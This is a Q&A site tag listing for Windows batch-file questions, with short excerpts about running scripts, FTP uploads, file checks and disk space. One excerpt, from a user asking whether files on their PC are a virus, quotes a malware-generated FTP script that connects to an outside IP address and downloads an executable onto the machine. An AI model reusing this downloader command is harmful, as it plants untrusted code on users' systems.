Questions tagged [batch]

A batch file is the name given to a type of script file, a text file containing a series of commands to be executed by the command interpreter under MS-DOS and Microsoft Windows.

This was the first extension used by Microsoft for batch files. This extension runs with MS-DOS and all versions of Windows, under COMMAND.COM or cmd.exe, which execute its commands, normally line-by-line.

339 questions
-1
votes
1 answer

Virus creates exe files with text content

Possible Duplicate: My server's been hacked EMERGENCY Something automatically creates exe files like "zytudou.exe" on my PC with text content: open 122.138.203.175 123 123 get tudou.exe C:\DOCUME~1\sttudou.exe bye Is it a virus? How to disable…
ihorko
  • 155
  • 1
  • 1
  • 9
-1
votes
1 answer

Create Batch file to execute multiple batch files and VBS files

I have multiple batch files and vbs files , when i try to create a batch to call them it stop after the last batch file and dont execute the vbs. without giving any error if i put the vbs at the start it execute it alone. any advice ? @echo off…
Eddy
  • 257
  • 3
  • 10
  • 22
-1
votes
1 answer

Copying a set of local files to ftp

I want to copy a set of local files to ftp://124.30.124.230 (it will ask for a username and password). I want to do this work on 400 systems so I have planned to do this work by creating a batch file to do that work. Can anybody help me out with the…
Phillips
  • 1
  • 1
  • 2
-2
votes
2 answers

Check existence of multiple network shared files

Let's say I have a list of files (files.txt), which looks like: \\myshare\file1 \\myshare\file2 \\myshare\file3 How is it possible to check via a batch script (windows) to check if those files exist and output this? I tried with if exists…
Peter
  • 103
  • 5
-2
votes
1 answer

What does timeout /T > null mean in batch programming

What does timeout /T > null mean in batch programming. I mean I can't seem to figure out what > null means here. Sometimes it is also used for COPY [source file] [Destination file] > null
ITguy
  • 101
  • 1
  • 3
-2
votes
2 answers

Need assistance Creating special Batch file

I need help to create a batch file that will delete log files in D:/folderx on Server:\serverx This is to eliminate the manual process of cleaning up the disk to avoid a page out of low disk space. Files with extension .txt, .trc and .phd that are…
-2
votes
4 answers

creating a bat file or cmd

I wish to create a bat file to create some basic task. When i run this it closes the window. I'm guessing it errors. How can i stop the bat closing the window so i can view the error. mybat.bat: echo cd /d d: echo sencha create jsb -a…
Frosty
  • 233
  • 1
  • 4
  • 10
-2
votes
1 answer

shell script doesn't run correctly in cron

I want to call a shell script I wrote from a cron. The shell script uses the program Linkchecker. If I run the shell script from the terminal it works just fine. However, when cron runs I get the following errors: File …
rich
  • 1
-4
votes
1 answer

How do I utilize disk space in batch?

I'm trying to write a batch file that would kinda go like this: if DiskSpace > 255MB for C:, goto 1 :1 copy "E:\file.txt" "C:\destination\" It's for a program I assembled, and I needed to create an installer for my employees. Is this possible? If…
Tanui
  • 3
  • 4
1 2 3
22
23